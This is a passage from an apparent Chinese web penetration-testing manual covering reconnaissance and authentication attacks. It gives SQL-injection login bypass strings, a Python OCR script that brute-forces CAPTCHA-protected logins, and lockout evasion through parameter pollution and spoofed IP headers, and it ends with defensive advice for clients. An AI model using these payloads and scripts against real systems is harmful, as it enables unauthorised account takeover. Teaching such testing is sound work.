第一章:Web 应用层渗透
1.1 信息收集与指纹识别
目标:精准定位脆弱入口,避免无效攻击。
1.1.1 资产测绘实战
不要只盯着主域名,重点在"旁站"和"关联资产"。
-
FOFA/Hunter 语法:
-
title="后台登录":寻找管理入口。 -
body="index of" && country="CN":寻找目录遍历泄露。 -
cert="Target Inc":通过 SSL 证书查找关联 IP。 -
banner="Apache/2.4.49":直接匹配存在漏洞的中间件版本。
-
1.1.2 JS 敏感信息提取
现代 Web 前端高度依赖 JS,常泄露 API 接口。
-
工具 :
jsfinder,LinkFinder。 -
实战命令:
bashpython3 jsFinder.py -u https://target.com -output urls.txt grep "api" urls.txt | grep "admin" # 筛选疑似管理后台的 API -
关键发现 :
/api/v1/user/info,/api/v1/admin/login。这些接口通常缺乏 CSRF 保护,且认证逻辑较弱。
1.2 认证逻辑缺陷利用
核心:利用开发人员对流程设计的疏漏,而非代码漏洞。
1.2.1 状态码与返回包篡改
场景:前端仅根据响应包判断结果。
-
测试方法:
-
使用 Burp Suite 拦截登录响应。
-
将
HTTP/1.1 401 Unauthorized改为HTTP/1.1 200 OK。 -
修改 Body:
{"code":401, "msg":"fail"}->{"code":0, "msg":"success"}。
-
-
结果:前端接收 200 状态码,误以为登录成功,直接跳转至后台。
1.2.2 万能密码(SQL 注入变体)
场景:老旧系统或未使用参数化查询的系统。
-
Payload:
sqladmin' -- admin' # ' OR '1'='1' -- ') OR ('1'='1' -- -
原理 :注释符
--或#闭合了密码校验部分的 SQL 语句,使验证逻辑恒真。
1.3 验证码对抗策略
核心:验证码的目的是限制自动化,只要打破限制,爆破即可继续。
| 绕过类型 | 测试方法 | 工具/代码 |
|---|---|---|
| 前端校验 | 查看页面源码,验证码答案直接写在 JS 变量中。 | 浏览器开发者工具。 |
| 验证码复用 | 刷新登录页面,验证码不变。 | Burp Repeater 重放。 |
| 为空绕过 | 删除 code参数。 |
code=或 删除该字段。 |
| 4位纯数字 | 穷举 0000-9999。 | Burp Intruder (Numbers payload)。 |
| OCR 识别 | 验证码干扰线弱。 | ddddocr (Python库)。 |
实战脚本(OCR 爆破):
python
import ddddocr, requests
ocr = ddddocr.DdddOcr()
session = requests.Session()
for pwd in open('pass.txt'):
img = session.get('http://target/captcha.php').content
code = ocr.classification(img)
data = {'user':'admin', 'pass':pwd.strip(), 'code':code}
res = session.post('http://target/login.php', data=data)
if '欢迎' in res.text:
print(f'Success: admin/{pwd}')
break
1.4 账户锁定机制绕过
痛点:输错 5 次密码账户锁定 30 分钟。
1.4.1 参数污染 (HPP)
原理:后端解析参数时,只取第一个或最后一个值。
-
Payload :
username=admin&username=wrong_user&password=123456 -
效果 :系统锁定
wrong_user,但admin账户依然可用,继续尝试下一个密码。
1.4.2 空格绕过
原理:数据库对尾随空格不敏感,但认证系统将其视为新用户。
-
Payload :
user=admin(后面带空格)。 -
效果:绕过"admin"账户的锁定计数器。
1.4.3 IP 轮换
原理:基于 IP 的锁定策略。
-
Header 注入:
X-Forwarded-For: 1.1.1.1 X-Real-IP: 2.2.2.2 -
操作:每次爆破请求更换 IP Header。
1.5 防御视角(给客户)
-
统一错误提示:无论用户名是否存在,统一返回"用户名或密码错误",禁止区分提示。
-
验证码安全:
-
验证码必须一次性有效(用完即焚)。
-
增加行为验证码(滑动、点选),防止 OCR 识别。
-
-
锁定策略 :连续 5 次失败后,增加二次验证(短信/邮箱),而非单纯锁定账户。